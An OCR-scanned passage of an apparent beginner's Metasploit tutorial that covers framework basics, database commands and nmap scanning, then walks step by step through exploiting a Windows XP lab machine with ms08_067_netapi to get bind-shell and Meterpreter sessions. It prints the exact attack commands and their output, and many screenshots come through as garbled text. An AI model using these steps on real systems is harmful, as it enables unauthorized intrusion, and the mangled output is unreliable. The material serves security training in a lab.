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Chapter One
Introduction about Metasploit

Metasploit is an open source computer security project.Metasploit is not a single
tool,it is a framework which is used for developing and executing exploit code against the
Remote target.Using Metasploit we can exploit most of the vulnerabilities that exist in a
software.

History of Metasploit

Metasploit was developed by a security researcher HD Moore in october 2003.He
used perl scripting language to develop Metasploit.Metaspolit gained high popularity in
information security field in a short time and this project was rewritten in Ruby
programming language with more than 1,50,000 lines of code and version 3.0 was
released in 2007.In 2009 Metasploit was acquired by a Security firm called Rapid7.

Now it has more than 1000 exploits, 260 payloads,460 auxiliary modules which
have been effctively been used for exploiting and doing penetration testing on the target
system.

Requirements._
For performing any pentesting we should set up our own lab.

1.VM Ware or Virtual Box.

2.Back Track R3 (Linux based operating system which is used for pentesting).
3.Metasploitable (Intentionally vulnerable operating system developed by the Metasploit
developers).

4.Windows XP

5.Windows 7
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1.Rex : It is the basic library for performing most tasks.It handles sockets and differnet
types of protocols.

2.MSF Core :It Provides the basic APl.Defines the metasploit framework.

3.MSF Base: It provides the friendly API.
Provides simplified API's for use in the framework

Modules:
Payload: Payload is a piece of code that runs in the target system remotely.

Exploit : Exploit is a piece of software,chunk of data or a sequence of code that takes the
advantage of a bug of vulnerability.

Auxiliary modules : This module is used for scanning ,fuzzing and doing various tasks.

Encoder:A program which encodes our payloads to avoid anti virus detection.



Interfaces:
Metasploit has different interfaces to ease our tasks.We can do a variety of tasks
with these interfaces.

1.MSFConsole :This is the main interface we use throughout this document.open
terminal type msfconsole.
You can get a window like the below screenshot.
cations Placss System 'Zf - ] [ SatDec 15, %00 AM
crminal Help

ax error, unexpected tAS50C, expecting keyword end
'SessionTypes' => [ 'meterpreter' ]

/opt/metasploit/msf3/modules/post/windows/gather/credentials/outlook.rb:43: synt
ax error, unexpected ')', expecting keyword end
))

/opt/metasploit/msf3/modules/post/windows/gather/credentials/outlooks
tax erraor, unexpected $end, expecting keyward end

ITITIT
IE
IT

I love shells --egypt

| | 4.5 gpi:l.0]
1003 exploits - 563 auxiliary - 164 post
262 payloads - 28 encoders - B nops

Msfconsole eases all our tasks compared to other interfaces.l will explain all the
commands which we can use in msfconsole interface in the metasploit basics chapter.



2.MSFCLI

| [= SatDec15, 913aM |

crminal Help
[ 1003 exploits - 563 auxiliary - 164 post
+ -- --=[ 262 payloads - 28 encoders - B8 nops

msf > msfcli -h

15
[*] exec: msfcli -h

Made
v available advanced options for this module
Show avail ionsy for th xildary module
Run the=gheek poutine of <theyseltecied module
Execute the selected mpdule
You're looking at it baby!
(I)DS Evasion Show available ids evasion options for this module
(0)ptions Show available options for this module
(P)ayloads Show available payloads for this module
(S)ummary Show information about this module
(T)argets Show available targets for this exploit module

[

= [ rcotbt ~ ] roctidbt: —

This is the sample usage of msfcli interface.msfcli gives more importance to scripting and
interpretability.lt directly runs command line.lt is a fantastic tool when you know the
exact exploit and payload.

Usage:
open
1.Terminal—msfcli -h

2.msfcli windows/smb/ms08_067 netapi O
it displays various options

3.msfcli windows/smb/ms08_067 netapi RHOST=192.168.217.131 P
RHOST is the remote host,we should type the victim's ip address
P- Payloads

4.msfcli windows/smb/ms08_067_netapi RHOST=192.168.217.131
PAYLOAD=windows/shell/bind_tcp E
This will exploit the windows xp pc and we get a shell.



3.Armitage

Armitage is the graphical GUI version for metasploit.It was developed by Raphel
Mudge.In armitage we can open more than one terminal and search our exploits either
GUI or CUI at the same time.

Anricage Maw Hosts
» [ axiary

» [l ciploit

* [§§l povloac

* il pes:

corsole X

FI

Jopt/metasploit/msfimedules/post Windows /gather/credentialsfoutlank. rh 379 syntay crror, onexpected Send, cxpecting keyward _cnd

IIIII1 dTh.dTh
1 4' w 'R
1L
1L
1

IIIIII

] |roob@bt: —| ] rookizibt: — [F] rootiz@bt; —

Usage:
open
terminal—type Armitage

it will display the above window.we can search our exploits using the attacks tab and
search for the appropriate payloads for that exploit

The armitage windos below displays metasploit CUI version and above GUI version
you can view video tutorials about armitage in the link below.

http://www.fastandeasyhacking.com/manual


http://www.fastandeasyhacking.com/manual

4. MSFGUI:

[F5 SatDec15,10:30AM |

nzole Datzbaze Slugine L=lp

w SRS IS & 1] b 1 [ = = (e | i T (i o el & e - i

|rookizbt: —|

It is better to use the msfconsole rather than other interfaces because it give more power
to our pentesting tasks.



Metasploit Editions:

@metasploit

Metasploit Express plus:

Social Engineering

"y Web app scanning
@ m:-gstg SDIOIt Post-exploitation macros

—_— |DS/1PS evasion

_ Metasploit Community plus: VPN pivoting
@metas |O|t E --- * Smart exploitation Team collaboration

community N :

w * Password auditing Tagging
s Network discovery * Evidence collection PCI & FISMA reports
s Vulnerability scanner import * Logging & reporting Enterprise-level Nexpose

» Basic exploitation > Replay scripts st
- Meschihes Ererasat ViMware & Amazon EC2
0

virtualization

Metasploit Framework
Open source development platform

Metasploit provides a community editon free of cost to everyone,the
remaining two editions cost more.Giant security consulting firms are using express and
pro editions because those edtions are too costly.



Chapter Two
Metasploit Basics

To become familiar with the metasploit framework one should know the basic
commands of metasploit.Metasploit commands are classified into 2 types

1.Core commands

2.Database commands

To open metasploit,open terminal type msfconsole.
1.Core commands

ons Places. System [=

@bt

back from the
banner ) lay an : ame
cd Change the current
color Toggle coler
connect Communicate with a host
exit =xit the sole
enu
ays information about one or more module
into irb scripting mode
lays anfd manage

-d

dpath
rc

popm ) 5 ] ; s |
previous Ls o Ly loaded module he ¢ =nt modul
s onto the module stack

commands
traffic through a session
ive datastc

ump

W [] roobi@bt — o lAmitage]

To open these commands type ? Or type help in the metasploit console.Now i will
explain the important commands that will help in the exploitation.

Useful commands
1)back : To come back from the current exploit or module

> use exploit/windows/browser/msl@ 002 aurora
exploit( ) > back

>

you can see i am getting back from the exploit(ms10_002_aurora) to msf main window.



2)banner: This command displays metasploit banner

mst > banner

=[ metasploit v4.5.0-release [core:4.5 api:1.0]

[ 1003 expldits - 563 auxiliary - 164 post
[ 262 payloads - 28 encoders - 8 nops

3)connect :This command is used to connect to the host.we should specify the host ip
address and port number along with this command.

msf > connect 192.168.217.131 445

[*] Connected to 192.168.217.131:445

4)exit and quit: These commands are used to exit from metasploit and it comes to the
root.
msf > exit

: ~3F

5)irb:This command is used to drop a irb mode.Using this mode one can write one's own
ruby scripts.

> 1irb
Starting IRB shell...




6)info:This command displays the whole information about the selected exploit.

"Aurora" Me
rowser/ms1

Provi
unk
hdm <hdm@metasploit.com=

Available targets:

Id Name

€} Automatic

Basic options
Current Setting Required Description

cal host to listen on. This must be an address on the loca

cal port to listen on.
SSL for ming connections
Path to a custom rfific (default is randomly gen
used (accepted:

> load nessus

Nessus Bridge for Metasploit 1.1

Type nessus_help for a command listing
Successfully loaded plugin: nessus

> load nexpose

[*] Nexpose integration has been activated
[*] Successfully loaded plugin: nexpose
msf > |




8)unload:This command is used to unload the loaded plugin from the framework.

msf > unload nessus
Unloading plugin nessus. . vunloaded~
msf > unload nexpese

Unloading plugin nexpose...unloaded.
msf > [

9)search:This command is used to search a specific exploit or module.This command is
very useful to search any module.

Disclosure Dat Rank Descriptio

exploit/windows/browser/adobe utilprintf 2008-02-08
printf() Buffer Overflow

exploit/windows/fileformat/adobe utilprintf 2008-02-08 00:00:00 UTC good Adobe util
printf() Buffer Qverflow

10)resource: This command is used to run specific commnads from a specified file.we
should give the file path along wiht this command.

11)use:This command is used to select a specific exploit.

msf > use exploit/windows/smb/ms08 067 netapl
msf exploit( ) > |

12)version:This command will display the current version of metasploit.

msf > version
Framework: 4.5.0-release. 16141

Console : 4.5.0-release.16178
msf > |

To update metasploit type msfupdate in the console.



13)set and unset: These commands set variables.By using these commands we can set
our payloads and we can set ip address.

> use exploit/windows/smb/ms@Q8 067

eldl) j
exploit( ' > [show opTions | g shows various options

Module options (exploit/windows/smb/ms@8 067 netapi):

Name Current Setting Required Description

RHOST The target address
RPORT 445 yes Set the SMB service part
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:
Id Name

0 Automatic Targeting

msf exploit( ) >|set RHOST 192.168.217.131 |emmtms *7 tet ey
RHOST => 192.168.217.131

using unset we can unset the value and we can give the new ipaddress.

14)setg and unsetg:These commands are used to set our variable globally throught our
pentesting.

15)show :This command is used to view the options or modules.lIt is a very useful

command.
shmsf > show nops

NOP Generators

Disclosure Date Rank Description

armle/simple normal
php/generic normal PHP Nop Generator

ppc/simple normal Simple

sparc/random normal SPARC NOP Generatoer
tty/generic normal TTY Nop Generator
x64/simple normal Simple

x86/opty2 pormal = Opby2

x86/single byte normal [Single Byte




Database commands : Database commands are very useful to maintain huge data and
export that data into files.We can share data among our pentesting team and we can

collaborate that data.

By default,metasploit comes with postgress database

creds

db connect

db disconnect
db export

db import

db _nmap

db rebuild cache
db status

hosts

loot

notes

services

vulns

workspace

List all

credentials in the database

Connectfjto an existihg databasg
Disconnect, from £lfe cufrent database™imstance

EXport a
Import a
Executes
Rebuilds
Show the
List all
List all
List all
List all
List all

file containing the contents of the'database

scan result file (filetype will be auto-detected)
nmap and records the output automatically

the database-stored module cache

current database status

hosts in the database

loot in the database

notes in the database

services in the database

vulnerabilities in the database

Switch between database workspaces

How to connect to the database ?

We should use the db_connect command to connect to the database.To connect to the
database we should know the password,username,port,hostname and database name all
these details you can find in the database.yml file.you can access this file through

File Edil View Terminagl Help

cd /opt/metasploit/config/ :~ cat database.yml

/opt/metasploit/config# cat database.yml

settings are for the database used by the Metasploit Framework

le tree included in this installer,

#

development:
adapter: "postgresgl"
database: "msf3dev"
username: "msf3"

password:
7337
"localhost"
256

port:
host:
pool:
timeout:

production:

adapter:

database:
username:

"4pbfedfc2"

5

"postgresqgl”
"msT3dev"
"msf3"

"4hfedfc2"

"localhost™

256

timeout:

5

not the commereial editions.



1)db_connect:This command is used to connect to the database.The format to use this
command is " db_connect username:password@hostname:portname/database "
name.In my system my username password are

db_connect msf3:4bfedfc2@localhost:7337/msf3dev

msf > db connect -h
Usage: db connect <user:pass>@<host:port>/<database>
OR: db connect -y [path/to/database.yml]

Examples:
db connect user@metasploit3
db connect user:pass@l92.168.0.2/metasploit3
db connect user:pass@l92.168.0.2:1500/metasploit3

2)db_disconnect:_To disconnect from the database.Here you can see the status as no
connection.

msf > db disconnect

msf > db status

[*] postgresql selected, no connection
msf >

3)db_status:To see the current status of the database.

msf > db connect msf3:4bfedfc2@localhost:7337/msf3dev
msf > db status

[*] postgresql connected to msf3dev

msf >

4)creds:This command is used to view the credential stored in the system.This command

shows the hashed passwords.
Credentials

port user
type actiye?

aad3b435b51404eeagd3b435b51404ee:bb869747debfeb9l

47bb1755083ef4a9 smb _hash True
192.168.217.131 445 HelpAssistant d4459ble4db5efB9b730e85cB82b5d2c1:aB61192700075c51
2bb895b2cT3d716e smb _hash true
192.168.217.131 445  Guest aad3b435b51404eezad3b435b51404ee:31d6cfedd1l6ae93l
b73¢59d7c0c089cd smb_hash true
192.168.217.131 445  Administrator aad3b435b51404eeaad3b435b51404ee:31d6cfeddl6ac93l
£73c59d7e0c089cd smb _hash true



mailto:4bfedfc2@localhost
mailto:password@hostname

5)db_import:To import the files from various softwares like nessus and nexpose.
6)db_export:To export our results to other softwares.

7)hosts:This command will display the connected hosts .

mac name 0s name os flavor
info comments

Microsoft Windows 47 Ultimate 7601 Service Pa
00:0C:29:73:67:81 KALEEM-27A12BDC Microsoft Windows @ XP
00:0C:29:77:1A:6E Linux

00:0C:29:CB:26:360 Unknown

name 0S name
1.3 Microsoft Windows
.217.131 KALEEM-27A12BDC Microsoft Windows
27135 Linux
2171386 Unknown




8)db_nmap: Nmap is a very useful tool for pentester and network engineers.We can do
many tasks using nmap tool .

eg:db_nmap -0 192.168.217.131.1t displays the services and operating system info.

> db_nmap -0 192,168,217.131
'“' Nndp: Sta ] Nmap 5.61TEST4 ( ht f,umqu.lrg ) at 2012-12-15 22:44 IST
‘] Nmap: Nmap an re - 192.1 =A3T
Nmap: Host is up (0.0811s latenc
] Nmap: Not shown: 995
*] Nmap: PORT STATE
] Nmap: 135/tcp open
] Nmap: 139/tcp open
Nmap: 445/Lcp open
Nmap: 1041/tcp open
] Nmap: 3389/tcp open
] Nmap: MAC Address: @O¢€ :67:81 (VMware)
] Nmap: Device ty
Nmap: Running: )
[*] Nmap: 0S CPE: C rosof indows X :professional cpe:/o:microsoft:windows server 2003
*] Nmap: atail ] solft Window siopal SP2 or Windows Server 2003
Nmap: Netw G : 1Tag
*] Nmap: 0S dHteitluﬂ performed. Plea eport any dncorrect results at-http://nmap.org/submit/
Hnap: Nmap done: 1 IP address (1 host Up) scanned in 5.11 seconds

rrrt proto name state info

ag He open
135 tcp open
139 tecp open
443 tep open
: 445 tcp s open Windows 7 Ultimate 7601 Service Pack (Build 1)
own) (name:KALEEMSHAIK-PC) (domain:WORKGROUP)
912 tcp open

==
O W0 WOOW
MNANRRNRN

sT > vulns
*] Time: 2612-10-04 11:41:10 UTC Vuln: host=192.168.217+=131 name=Microsoft Server
tack Corruption refs=CVE-2008-4250,0SVDB-49243 MSB-MSPB-067-URL-http://www. rapid7
s-netapi-netpathcanonicalize-dos




Chapter Three
Informaiton gathering

"If I had eight hours to chop down a tree, I'd spend six hours sharpening my axe".
- Abraham Lincoln

Information gathering is the first step in penetration testing.In this phase we
can gather as much information as possible about the target.The more information we
have,the more is the chance of exploting.In this phase we can gather information like
ipaddress,services if the target is a website then we should gather sub
domains,emails,hosting server and location of the server inforamtion.

There are 2 types of information gathering

1)Active information gathering

2)Passive information gathering

Passive information gathering: In this technique we are not directly interacting with

the target.we will search information using whois and nslookup commands.There are
many tools available in Back Track to find the dns information.

> nslookup www.google.com
exec: nslookup www.google.com

nslookup: /opt/metasploit/common/lib/libcrypto.
sr/lib/libdns.so0.64)

nslookup: /opt/metasploit/common/lib/libxml2.so
/libisc.s0.60)

Server: 192.168.7Z
Address: 192 .168.

17.
L7,

Non-authoritative answers
www.google.com
74.125.236.52
www.google.com
74.125.236.50
www.google.com
74.125.236.51
www.google.com
74.125.236.48

www.google.com

B LG ; 419

Nslookup:Using nslookup we will get the additional server informaiton.




Whois :This command is used to gather the subdomains informaiton and registrar name.

whois www.google.com
*] exec: whoils www.google.
[*] c: whois www.google.com

Whois Server Version 2.0
Domain names in the .com and .net domains can now be registered

with many different competing registrars. Go to http://www.internic.net
for detailed information.

Server Name: WWW.GOOGLE.COM.VN
Registrar: ENOM, INC.

Whois Server: whois.enom.com
Referral URL: http://www.enom.com

Server Name: WWW.GOOGLE.COM.TW
Registrar: ENOM, INC.

Whois Server: whods.€nom.com
Referral URL: http://www.enom.com

Server Name: WWW.GOOGLE.COM.TR

Registrar: TUCOWS.COM CO.

Whois Server: whois.tucows.com

Referral URL: http://domainhelp.opensrs.net

Server Name: WWW.GOOGLE.COM.SA

Registrar: OMNIS NETWORK, LLC

Whois Server: whois.omnis.com
c R| : D: oma i

These are only few techniques discussed.There are many more to gather information in a
passive way.

Active information gathering:

In active informaiton gathering we will use a tool nmap(network mapper),
written by Gordon fyodor lyon.lt is a cross platform tool.

I will explain some basic nmap commands to scan our network.The book
"Nmap cookbook the fat free guide for network scanning" is highly recommended to
explore much about Nmap.



To scan a single ip address:we can use Nmap to scan a single ip address.

usage: nmap "ip address"

msf > nmap 192.168.217.131
[*] exec: nmap 192.168.217.131

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-12-16-10<48 IST
Nmap scan report for 192.168.217.131
Host is up (0.0037s latency).

: 995 closed ports

STATE SERVICE

open msrpc

open netbios-ssn

open microsoft-gds

open danf-ak2

open mS=wbtssenver
MAC Address: 00:0C:29:73:67:81 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.81 seconds

To scan multiple ip address

usage: nmap 192.168.217.131 192.168.217.133

msf > nmap 192.168.217.131 192.168.217.133
[*] exec: nmap 192.168.217.131 192.168.217.133

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-12=16~10:52 IST
Nmap scan report for 192.168.217.131
Host is up (0.00064s latency).
Not shown: 995 closed ports

STATE SERVICE

open msrpc

open netbios-ssn

open microsoft-ds

open danf-ak2

open ms-wbt-senvesr
MAC Address: 00:06€:29373:67:81 (VMware)

Nmap scan report for 192.168.217.133
Host is up (0.000013s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE

80/tcp open http

Nmap done: 2 IP addresses (2 hosts up) scanned in 1.86 seconds




To scan entire subnet:

usage: nmap 192.168.217.131/24

msf > nmap 192.168.217.131/24
[¥] exec: nmap 192.168.217.131/24

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-12=16~10:55 IST
Nmap scan report for 192.168.217.2
Host is up (1.0s latency).
Not shown: 985 closed ports
STATE SERVICE
open http
open msrpc
open https
open microsoft-ds
filtered shell
912/tcp open apex-mesh
1025/tcp open NFS-or-I1IS
1026/tcp open LSA-or-nterm
open IIS
open unknown
open ms-lsa
filtered westell-stats
open mysql
5960/tcp filtered unknown
8181/tcp open unknown

Advanced scanning options:

Nmap has many advanced features to successfully gather more information
about the target.We can scan tcp ports,udp ports and find the operating system and
version detection.

We can perform null scan,ACK scan and trace route on the target.Nmap is like
a swiss army knife.we can handle a wide variety of security testing and network
administrative tasks.



Tcp SYN scan:

We can perform SYNscan on the network.This scan is very stealthy.It does not
open a full connection to the remote host.

usage: nmap -sS 192.168.217.131

msf > nmap -sS 192.168.217.131
[*] exec: nmap -sS 192.168.217.131

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-12=16-11:01 IST
Nmap scan report for 192.168.217.131
Host is up (0.00016s latency).
Not shown: 995 closed ports

STATE SERVICE

open msrpc

open netbios-ssn

open microsoft-ds

open danf-ak2

open ms-wbtssenver
MAC Address: 00:0€:29:;73:67:81 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds

UDP(User Datagram Protocol) scan:
We can scan UDP ports of the target system.
usage :nmap -sU 192.168.217.131

msf > nmap -sU 192.168.217.131
[*] exec: nmap -sU 192.168.217.131

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-12=16=11:15 IST

Nmap scan report for 192.168.217.131

Host is up (0.032s latency).

Not shown: 991 closed ports

PORT STATE SERVICE

123/udp open|filtered ntp

137/udp open netbios-ns
open|filtered netbios-dgm
open|filtered migcrosoft-ds
open|filtered isekmp
open| filkered mtgp
open|filtered ms-sql-m
open|filtered upnp
open|filtered nat-t-ike

MAC Address: 00:0C:29:73:67:81 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.06 seconds
mst > [




Tcp Null scan:
Now we are performing null scan to trick the firewalled system and to get
the response from that system.

Usage: nmap -sN 192.168.217.131

msf > nmap -sN 192.168.217.131
[*] exec: nmap -sN 192.168.217.131

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-12-16 11:22,IST
Nmap scan report for 192.168.217.131
Host is up (0.00033s latency).

ALl 1000 scanned ports on A92+«168s217 #4131 are=qglesed
MAC Address: 00:0€:29373:67:81 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.77 seconds
msf > |}

Operating system and version detection
To find the operating system of the target we will use -O option.

Usage: nmap -0 192.168.217.131

msf > nmap -0 192.168.217.

[*] exec: nmap -0 192.168.

31
17.131

1
)

Starting Nmap 5.61TEST4 ( http://nmap.orqg ) at 2012-12=16=11:27 IST

Nmap scan report for 192.168.217.131

Host is up (0.00083s latency).

Not shown: 995 closed ports

PORT STATE SERVICE

135/tcp open msrpc

lBgf(t':p open netbiaos-ssn You c-arl sem my_! opl.:rating systam infa
445/tcp open microsoft-ds SO Lam i Windeus

professional.This is my victim
1041/tcp open danf-ak2 oL ratie =yatem:
3389/tcp open ms-whi-senyer
MAC Address: 00:9€:29:73:67:81 (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
'E: cpe:/oimicrosoTt:windows Xxp::spl2:professiconal cpe:/o:microsaftt:windows server

)S details: Microsoft Windows XP Professional S5P2 or Windows Server 2003
etwork Distance: 1 hop

0S detection performed. Please report any incorrect results at http://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 5.62 seconds




To find the version detection:

Using Nmap we can find versions of the services running on the ports. We wil
use -sV option to do this.

Usage :nmap -sV 1921.168.217.131

nmsf > nmap -sV 192.168.217.131
[*] exec: nmap -sV 192.168.217.131

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-12=16=11:38 IST
Nmap scan report for 192.168.217.131 you can see the
Host is up (0.00016s latency). erons
995 closed ports -
STATE SERVICE VERSION
open msrpc Microsoft Windows RPC
open netbios-ssn
open microsoft-ds | Microsoft Windows XP microsoft-ds
open danf-ak2?
open ms-wbtssenvey Migrosoftr TerminalySeryige
MAC Address: 00:0€:29373:67481 (VMware)
Service Info: 0S: Windows; QPE: cpe:/o:migrosoft:windows

Service detection performed. Please report any incorrect results at httg

£
Nmap done: 1 IP address (1 host up) scanned in 36.40 seconds

You can combine bothe -O and -SV options at a time
usage: nmap -0 -sV 192.168.217.131

These are some nmap commands to find the target services and open ports and
operating system info.There are many other advanced options that exist in nmap.l highly
recommend a book "nmap cookbook" to know more about nmap and explore many
options that exist nmap.



Chapter Four
Exploitation

Exploitation is the meridian for every security engineer.lt is a great feeling to
exploit a first machine and get full control over that machine.Exploitation is a very
difficult task to accomplish.we need to know much about the target.In this chapter i will
show you advanced techniques to get shell on the target system and you will gain full
control over the victim system.

Before reading this chapter please read chapter two to know the basics of
metasploit.| am going to use the msfconsole throught out this chapter.

Basic exploitation:
I am going to use ms08_067_netapi exploit.you can get much information

about this exploit in the below link.

http://www.metasploit.com/modules/exploit/windows/smb/ms08 067 netapi

Metasploit has a great feature tab completion.If we dont know about
particular exploit press tab twice it to get some suggestions displayed.

umsf > use exploit/windows/smb/ms0O
exploit/windows/smb/ms03 049 netapi
exploit/windows/smb/ms04 007 killbill
exploit/windows/smb/ms04 011 lsass
exploit/windows/smb/ms04 031 netdde
exploit/windows/smb/ms@5 039 pnp
exploit/windows/smb/ms06 025 rasmans reg
exploit/windows/smb/ms06 025 rras
exploit/windows/smb/ms06 040 netapi
exploit/windows/smb/ms06 066 nwapi
exploit/windows/smb/ms06 066 nwwks
exploit/windows/smb/ms06 070 wkssvc
exploit/windows/smb/ms07 029 msdns zopnename
exploit/windows/smb/ms08 067 metapi
exploit/windows/smb/ms09 ©50 'smb2wnegptiate fang index

msf > use exploit!windows!smb/ms@l

You can see it displays various exploits.Or you can search for particular exploit using
search command.


http://www.metasploit.com/modules/exploit/windows/smb/ms08_067_netapi

Search netapi:
Usage: search "exploit name"

smsf > search netapi

Matching Modules

Disclosure Date Rank

good

tion Service NetAddAlternateComputerName Overflow
exploit/windows/smb/ms@6 040 netapi 2006-08-08 00:00:00 UTC good
Service NetpwPathCanonicalize Overflow
exploit/windows/smb/ms06 070 wkssvc 2006-11-14 00:00:00 UTC manua
tion Service NetpManageIPCConnect Overflow
exploit/windowsys/ smb/ms@8y067y, netapi” 2008=10+28+0000:00 UTC -great
Service Relative™Rathy,Stack Corruption

show: show command is used to view various exploits,payloads,encoders .
Usage: show exploits,show payloads, show encoders.

Steps to exploit our first windows machine.

Step 1: use exploit/windows/smb/ms08_067_netapi.

Step 2: show options to view various options.

msf > use exploit/windows/smb/ms®8 067 netapi
msf exploit( ) > show options

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

RHOST Type ip address The target address

RPORT 445 yes Set the SMB service part

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name

0 Automatic Targeting
RHOST(Remote Host):It is the remote host,we should type the remote ip address of the
target system.
LHOST(Local Host):It is the local host , that means our system ip address.



Step 3: set RHOST 192.168.217.131
Set and setg : Using these commands we can set the variable to a particular field.

Setg command is used to set a varialble globally.so we can use that variable throught out
penetration test.

msf exploit( '
RHOST == 192.168.217.131
mst exploit(msO! show options

= Here i am setting Ip
address of my remote
machine

Module options (exploit/windows/smb/ms08 067 netapi):

EIE Current Setting Required Description

RHOST 192.168.217.131 The target address
RPORT 445 yes Set the SMB service poart
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSV(C)

Step 4: set a payload for our exploit.

Usage:show payloads

msf exploit(mseE . ) > show payloads

Compatible Payloads

Disclosure Date Rank

generic/custom narmal
d

generic/debug trap normal
ebug Trap

generic/shell bind tcp normal
nd Shell, Bind TCP Inline

generic/shell peverse ‘bep normal
nd Shell, ReversesnTCP,Inline

generic/tight loop normal
ight Loop

windows/dllinject/bind ipv6 tcp normal
L Injection, Bind TCP Stager (IPv6)

windows/dllinject/bind nonx_ tcp normal
L Injection, Bind TCP Stager (No NX or Win7)

You can see a huge payload list. Now we will use a payload bind shell.It directly binds with
the target port 445 .



Setting a Payload:
Usage: set Payload windows/shell/bind_tcp

exploit( ' set payload windows/shell/bind tcp

payl nad =5 ulndnwc/qhﬁllfhlnd tcp
msf exploit( ) > show options ﬁ —
I am setting bind shell
Module options (exploit/windows/smb/ms08 @67 netapi]: payload to my remote

; . A system
Name Current Setting Required Description

RHOST 192.168.217.131 vyes target address
RPORT 445 /es Set the SMB service part

SMBPIPE BROWSER /es > pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shellfbipd tep) :

Name Current Setting Required

EXITFUNC thread Exit technique: seh, thread, pro
LPORT 4444 ycr The listen port

RHOST 192.168.217.131 no The target address

Step 5 :To get the shell on the target computer, use the command "exploit".This command runs
the payload against the target system.Then you will get a remote shell on the target system.

Usage: exploit.
msf exploit(ms@B ) > exploit

Started bind handler

Automatically detecting the target...

Fingerprint: Windows XP - Service Pack 2 - lang:Engltish
Selected Target: Windows XP SP2 English (AlwaysOn.-NX)
Attempting to trigger the vulnnrabilit;

Sending stage (240 bytes) to 192.168.217 1;1
Command shell session 1 opened (192.168.217.133:39184 -> (192.168.21%.131:4444) at 20
-12-16 16:12:22 +0530

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

you ransee'the remoteshell

VINDOWS\ svstemi2=whoamj



For confirmation, you can check the ip address of the remote system just by typing "ipconfig"

C:\>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain

IP Address. <~ . = 8is v a e 5. = 3 392:168.215.131
Sibnet Mask = « 2 « @ s = « = 3 = 1 259.255.255.0
Default Gateway . . . . . . . . . : 192.168.217.2

Congratulations! you have exploited the your first windows machine.Now you can create your
own folders and and run the files remotely on the target system.To give more power to
exploitation we willl user meterpreter payload.l will disscuss this payload in later.

Commands used in this chapter

1)use exploit/windows/smb/ms08_067_netapi ---> To select a particular exploit

2)show options ------------- > To view the options
3) set RHOST -------------- > Victim ip address which we have to set
4) windows/shell/bind_tcp------------- > To set the particular payload

5) exploit---------------- >To run the payload



Chapter Five
Introduction about Meterpreter

Meterpreter is the forerunner product in Metasploit framework which is
leveraged as a payload after exploitation.Meterpreter is used to enhance the post
exploitation.

Features:

It does not create a new process and completely resides in the memory.So there is no
chance of detection.It does not write any data on the disk.All the communication from
the attacker to the victim is completely encrpyted.It creates a separate channel to
encrypt the data.

Meterpreter has huge options to ease our post exploitation.We can gain full control over
the victim system.

Exploitation using meterpreter :
In this we follow the same procedure as the above exploitation,except
the payload.Here we will use meterpreter as the payload to get the meterpreter shell.

Step 1: Choose a exploit.

Usage: use exploit/windows/smb/ms08_067_netapi

msf > use exploit/windows/smb/ms®8 067 netapi
msf exploit( ) > show options

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

RHOST Type ip address The target address

RPORT 445 yes Set the SMB service part
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:
Id Name

0 Automatic Targeting

Step 2: RHOST :This is the victim ip address.



Step 3 : Setting the meterpreter as paylaod.
Usage: Set payload windows/meterpreter/bind_tcp

Step 4: run "exploit" command.

exploit( 1) >[set payload windows/meterpreter/bind tcp
payload => windows/meterpreter/bind tcp
exploit( ) > exploit G
I set the payload as

Started bind handler meterpreter

Automatically detecting the target...
Fingerprint: Windows XP - Service Pack 2 - lang:English

Selected Target: Windows XP SP2 English (AlwaysOn NX)

Attempting to trigger the vulnerability...

Sending stage (752128 bytes) to 192.168.217.131

Meterpreter session 1 opened (192.168.217.133:40671 -> 192.168.217./131:4444)

> sysinfo You can see meterpreter shell has opened and

Unknown command: sysinfo. | my system information has displayed
> sysinfo
: KALEEM-27A128BDC
: WindoWws XP (Build 2600, Service Pack [2) ¢
Architecture : x86
System Language : en US
x86/win32

Here you got Shell as meterpreter.you can do a variety of tasks using this shell.l will
explain those in the later chapters. Here is the list of commands.

File Ed emingl Help

hackground
bokill !
; running b ground scripts
es a mete =r script as a backgraund
i mation about active channels

e mifia

Helpfmenl

Displays Informatibn about a Post module
interact Interacts with a channel
irb Drop into irk scripting mode
load { ne or mor terpreter
migrate = 5¢ r to :
gquit minate the meterpreter session
read ] data from a channsl
resource { commands stored in a file

cript or Post module
ated alias r 'load’
data to a channel

These are only few commands .There are many more.In the later chapter you will come
across all those commands.



Chapter Six
Post Exploitation using Meterpreter

We can significantly improve the post exploitation using meterpreter.Many
of us think, getting shell on the target system is an important task,but to control our
target system is very important.We can control our target extensively by using
meterpreter.Meterpreter is the extension to metasploit framework that allows us to
levarage metasploit's functionality and further compromise our target.

We can do many amazing tasks using meterpreter payload like webcam
snap shot,dumping hashes,monitoring keystrokes,downloading files from the target and
uploading files into the target and many more.You can see all those tasks in this chapter.

First,we have to compromise our target using meterpreter then we will get
a meterpreter shell.Follow the procedure in the above chapter"Introduction to
Meterpreter" to exploit the target.Meterpreter has a very huge command list, i will try
to cover 95% of commands in this chapter.Practice all the commands which i disscuss in
this chapter to become comfortable with Meterpreter.

Meterpreter commands are divided into many sections depending upon
their usage.l will discuss all the commands not in the same order, but in a random order,
depending upon the task.

1.Core commands

2.Stdapi :System commands
